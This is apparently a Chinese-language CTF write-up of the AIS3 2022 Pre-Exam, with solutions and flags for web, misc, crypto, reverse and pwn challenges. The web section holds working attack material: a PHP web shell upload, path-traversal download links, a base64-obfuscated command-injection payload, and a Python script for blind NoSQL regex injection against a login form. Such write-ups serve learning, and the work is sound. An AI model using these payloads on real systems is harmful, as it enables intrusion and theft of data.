2022 AIS3 Pre-Exam 賽後心得

AIS3 2022 Pre-exam

Web

Poking bear

猜路徑、改cookie
AIS3{y0u_P0l<3_7h3_Bear_H@rdLy><}

Simple File Uploader

上傳 file.phP

1
2
3
<?php
echo `your command`;
?>

AIS3{H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و}

TariTari

download.php 可以下載其他 php 檔案

http://chals1.ais3.org:9453/download.php?file=Li4vaW5kZXgucGhw&name=index.php

http://chals1.ais3.org:9453/download.php?file=Li4vZG93bmxvYWQucGhw&name=download.php

index.php 中 passthru 有 command injection,需要注意的是這個環境不能傳資料出去,只能下載下來

1
fake|' files; cat $(echo L3kwMDAwMDBfaV9hbV90aGVfZjE0R0dHLnR4dA== | base64 -d) > $(echo Li9maWxlcy9kdW1w | base64 -d) #

AIS3{test_flag (to be changed)}

好奇怪的 flag

The Best Login UI

https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf

以前都不知道 http 可以傳 object,利用這件事可以控制詢問參數做 Blind SQL Injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from string import printable
from time import sleep
import requests
import re

charset = sorted(printable[:-5])
result = 'AIS3\{'

while len(result) < 200 and result[-1] != '}':
l = 0
r = len(charset) - 1
while l < r:
mid = (l + r) >> 1
response = requests.post(
"http://chals1.ais3.org:54088/login",
data={"username": "admin",
"password[$regex]": f"{result}[{re.escape(charset[l])}-{re.escape(charset[mid])}].*"},
)
sleep(.05)
if 'Success' in response.text:
r = mid
else:
l = mid + 1
result += re.escape(charset[l])
print(result)

AIS3{Bl1nd-b4s3d r3gex n0sq1i?! (:3[___]}

Misc

Excel

看這題看了好久,想說為什麼有那麼多人做出來,後來注意到題目說明有一句「Don’t worry, this is not a real virus…」,說到 Excel 病毒第一個想到就是巨集了

用 binwalk 解開檔案可以看到 macrosheet/sheet1.xml,裡面有很多座標,用這些值可組合出 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pandas as pd

sheet_list = ['JVHco', 'coCGA', 'mqLen', 'Mment', 'KRnsl']
data = dict()
for name in sheet_list:
data[name] = pd.read_excel('chal.xlsm', sheet_name=name, header=None)

char_list=['mqLen!D14',] // 從 macrosheet 弄出來的座標

result = ""
for info in char_list:
sheet, pos = info.split('!')
if pos[1].isalpha():
result += str(data[sheet].at[int(pos[2:])-1, (ord(pos[0])-ord('A')+1)*26 + (ord(pos[1])-ord('A'))])
else:
result += str(data[sheet].at[int(pos[1:])-1, ord(pos[0])-ord('A')])

AIS3{XLM_iS_to0_o1.0d_but_co0o0o00olll!!}

flag 中間 1.0 要去掉

Gift in the dream

gif 裡面有很多句 why is the animation lagging? why is the duration so weird?

我把 gif 丟到這裡,可以看到第一個間隔是 650ms,而 A 的 ascii code 正好是 65
在第一個句子前 7 格有一個字元 A,用 python 把所有前 7 格字元抓出來組合就是 flag
AIS3{5T3g4n0gR4pHy_c4N_b3_fUn_s0m37iMe}

Crypto

SC

建表,會寫程式的應該都會做吧
AIS3{s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack}

Fast Cipher

找到第一個 offset 做 xor
AIS3{not_every_bits_are_used_lol}

Reverse

Time Management

我把 sleep 全都刪掉沒有結果,所以直接抓程式下來跑了
AISE{You_are_the_master_of_time_management!!!!!}

Pwn

BOF2WIN

現在 peda 上不能用 crashoff,只能用 patto 😢
AIS3{Re@1_B0F_m4st3r!!}

SAAS - Crash

discard 上出題者說亂打就有 flag,應該算暴雷吧?總之我因為他的話而拿到 flag 了

程式看起來很正常,執行檔 print 後面有 free 掉 String,這會造成 double free
AIS3{congrats_on_crashing_my_editor!_but_can_you_get_shell_from_it?}

心得

這兩天比較晚睡,可能我遇到比賽都會這樣。不過跟競程相比,打 CTF 多了一種驚喜感,有些看了很久完全找不到頭緒的題目,會在某一時刻突然做出來,競程比較偏向慢慢推,當然也有可能是我經驗不夠XD

感謝 splitline 大大的教學資源,這真的幫了我許多